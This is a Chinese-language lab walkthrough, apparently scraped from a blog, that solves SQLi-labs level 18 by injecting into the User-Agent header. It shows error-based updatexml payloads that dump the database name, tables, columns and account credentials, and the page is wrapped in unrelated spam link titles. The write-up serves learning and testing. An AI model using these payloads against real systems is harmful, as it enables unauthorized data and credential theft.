当前位置: 首页 > news >正文

山东省城乡与住房建设厅网站wordpress教程教程

山东省城乡与住房建设厅网站,wordpress教程教程,百色seo关键词优化公司,wordpress 可视化插件文章目录 前言一、靶场通关需要了解的知识点1、什么是http请求头2、为什么http头部可以进行注入 二、靶场第十八关通关思路1、判断注入点2、爆数据库名3、爆数据库表4、爆数据库列5、爆数据库关键信息 总结 前言 此文章只用于学习和反思巩固sql注入知识#xff0c;禁止用于做… 文章目录 前言一、靶场通关需要了解的知识点1、什么是http请求头2、为什么http头部可以进行注入 二、靶场第十八关通关思路1、判断注入点2、爆数据库名3、爆数据库表4、爆数据库列5、爆数据库关键信息 总结 前言 此文章只用于学习和反思巩固sql注入知识禁止用于做非法攻击。注意靶场是可以练习的平台不能随意去尚未授权的网站做渗透测试 一、靶场通关需要了解的知识点 1、什么是http请求头2、为什么http头部可以进行注入 1、什么是http请求头 这里我只演示sql注入常见的请求头内容。 1、user-agent User-Agent 首部包含了一个特征字符串用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。 浏览器通常使用的格式为 User-Agent: Mozilla/version (system-information) platform (platform-details) extensions这里我在微博进行演示user-agent的作用(无恶意仅演示) 这里我先用kali系统在火狐浏览器中微博搜索1(如图所示) 然后抓包更改user-agent内容改为手机端。这里我改为oppo手机访问网站的user-agent。因为user-agent是用来识别用户的身份的如果你是pc端那么服务器接收到你的user-agent发现你是pc端的linux系统它就会响应一个pc电脑访问微博的界面。那么如果服务器接收的是我更改的手机user-agent的话它就会自动识别我是手机端登录然后响应一个手机访问微博的页面。 Mozilla/5.0 (Linux; Android 7.1.1; OPPO R11st Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83 Mobile Safari/537.36 T7/11.15 baiduboxapp/11.15.5.10 (Baidu; P1 7.1.1) 这是我更改的oppo手机user-agent. 更改流程如下图一是linux系统pc端的user-agent图二是我们改为oppo的user-agent。 然后发包看结果对比一下。 发现我pc端访问的微博界面变成了oppo手机端访问微博的界面。这就是user-agent的作用。通过识别用户身份响应合适的web界面。 2、referer字段 Referer 请求头包含了当前请求页面的来源页面的地址即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源可能会以此进行统计分析、日志记录以及缓存优化等。 就比如你从csdn访问外链接跳转此时referer字段指向的url地址就是csdn的地址。 3、cookie Cookie 是一个 HTTP 请求标头其中含有先前由服务器通过 Set-Cookie 标头投放或通过 JavaScript 的 Document.cookie 方法设置然后存储到客户端的 HTTP cookie 。 4、X-Forwarded-For X-Forwarded-ForXFF请求标头是一个事实上的用于标识通过代理服务器连接到 web 服务器的客户端的原始 IP 地址的标头。 当客户端直接连接到服务器时其 IP 地址被发送给服务器并且经常被记录在服务器的访问日志中。但是如果客户端通过正向或反向代理服务器进行连接服务器就只能看到最后一个代理服务器的 IP 地址这个 IP 通常没什么用。如果最后一个代理服务器是与服务器安装在同一台主机上的负载均衡服务器则更是如此。X-Forwarded-For 的出现就是为了向服务器提供更有用的客户端 IP 地址。 2、为什么http头部可以进行注入 由于大部分网站为了记录用户的http请求头部内容来更好的识别用户的身份信息会将其带入数据库处理。我们知道任何与数据库交互的地方都是有可能会有sql注入漏洞的。如果管理员没有对http头部内容进行验证和过滤导致攻击者可以任意篡改http头部信息拼接到数据库恶意获取敏感内容。 二、靶场第十八关通关思路 1、判断注入点2、爆数据库名3、爆数据库表4、爆数据库列5、爆数据库关键信息 1、判断注入点 首先打开第十八关发现页面多了一个记录ip的信息。假如我们现在不知道是http头部注入我们尝试在登录框进行sql注入发现无论如何都是注入不成功的。这个时候我们就要换思路了因为看到这里有记录ip信息IP信息的记录像是和http请求头的X-Forwarded-For有关系。那么我们就要想到能不能在http请求头进行注入。 这里为了方便理解我们就看源码了 发现到有两个参数 网上搜发现是用来获取用户信息的user-agent值和ip值。我们发现这就是请求头的内容。继续往下看发现user-agent值被带入到数据库中。而且没有被过滤。 (如图所示)我们也发现uname和passwd被过滤了这里源码写了一个check_input的功能函数将uname和passwd的特殊字符进行转义我们也去网上搜了mysql_real_escape_string () 函数的作用所以得知刚刚我们无脑在登录框注入不成功的原因是有这个转义函数在干扰。如果懂一点sql注入代码审计的大佬应该一眼就看出这是一个典型的防sql注入的代码。 但是我们刚刚发现源码并没有将user-agent值调用check_input函数进行过滤sql注入。那么我们可以从这里构造payload。 我们仔细看user-agent值被拼接到数据库的代码。 INSERT INTO security.uagents (uagent, ip_address, username) VALUES ($uagent, $IP, $uname)我们是要在uagent进行构造pyaload的所以就得看这句代码进行构造payload 这里构造为 ,1,1)# 发现构造payload成功但是有的人可能要质疑了你这是知道源码才能轻松构造出来payload的那实战大都是没有源码的呀那咋构造 很好这里我假装不知道源码是什么。我们首先和之前思路一样先试一试and 11 和and 12发现页面都正常说明排除数字型。 然后我们再直接在user-agent后面加上单引号发现报错了。 报错语句为 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘xxx.xxx.xxx.xxx’, ‘admin’)’ at line 1 从报错看出肯定是有关单引号闭合凭空想象应该原始语句是这样的 ($uagent, $IP, $uname)从报错内容发现不光光是单引号闭合的问题。发现user-agent加单引号后报错是缺少了 ‘xxx.xxx.xxx.xxx’, ‘admin’)这个东西。也就是说你刚刚是这样注入的才导致报错。 ($uagent, $IP, $uname)我们如果单单像之前注入一样闭合掉单引号的话就会变成这样 ($uagent#, $IP, $uname)这样的话后面的两个参数就不见了也会报错。所以我们得构造出这样 ($uagent,1,1)#, $IP, $uname)在payload多写两个参数构造出和原始语句一模一样的语句 payload构造出来了因为它有报错回显但是不回显内容。所以用报错盲注。 2、爆数据库名 注入语句为 1 and updatexml(1,concat(0x3a,(select database()),0x3a),1),1,1)# 3、爆数据库表 注入语句为 1 and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schemadatabase() limit 3,1),0x3a),1),1,1)#得到关键数据库表名users 4、爆数据库列 注入语句为 1 and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 1,1),0x3a),1),1,1)#1 and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 2,1),0x3a),1),1,1)#得到关键数据库列usernamepassword 5、爆数据库关键信息 注入语句为 1 and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1),1,1)#1 and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1),1,1)#得到账号密码 总结 这一关是利用http头部的user-agent值进行sql注入由于这一关账号密码被sql防注入过滤了但是没有对user-agent值进行过滤所以导致可以在user-agent进行注入。此文章是小白自己为了巩固sql注入而写的大佬路过请多指教
http://www.yutouwan.com/news/70977/

相关文章:

  • 做网站要会写什么软件购物网站数据分析
  • 智能自助建站系统源码wordpress 创建文章
  • 网站架构制作c to c网站开发
  • 济南建设网站平台wordpress cms 教程
  • 网站模版 源码之家吉林网站建设吉林
  • 无形资产 网站开发国内一线网站设计公司
  • 宁津哪个网络公司做网站比较好电子政务网站设计
  • 新加坡做网站的价格网站建设提高信息
  • 东莞做商城网站建设哪家好佛山做网站优化公司
  • 珠海建网站设计杭州建筑网页设计
  • 为什么百度搜不到我的网站正邦设计董事长
  • 潍坊大型网站建设平台做网站时怎么让边框细一点
  • 企业公共服务平台网站建设方案网站底部备案图标
  • 创建一个自己的网站的步骤定制做网站服务
  • 电子网站商业策划书网站建设项目验收单
  • 商城网站设计需要哪些技术抖音代运营电话话术
  • 做去态网站要学什么语言网络营销推广工具
  • 株洲网站建设开发微网站开发难吗
  • 运营企业网站怎么赚钱网页设计就业工资
  • 做ui的网站最专业企业营销型网站建设
  • 网站图片移动怎么做已备案个人网站做淘宝客
  • 上海网站建设天锐科技目前做的比较好的法律网站有哪些
  • 整形网站建设方案策划书wordpress tag
  • 西安做网站朋朋百度速页建站
  • 网站建设知名网站建设应列支什么科目
  • 网站建设 付款方式南京开发app的公司
  • 做外贸做网站怎样做视频上网站赚钱
  • 无锡市建设招标网站快对作业小程序入口
  • dw做了网站还可以做淘宝详情吗网站建设属于哪类税率
  • 商业网站的相关内容什么是淘宝seo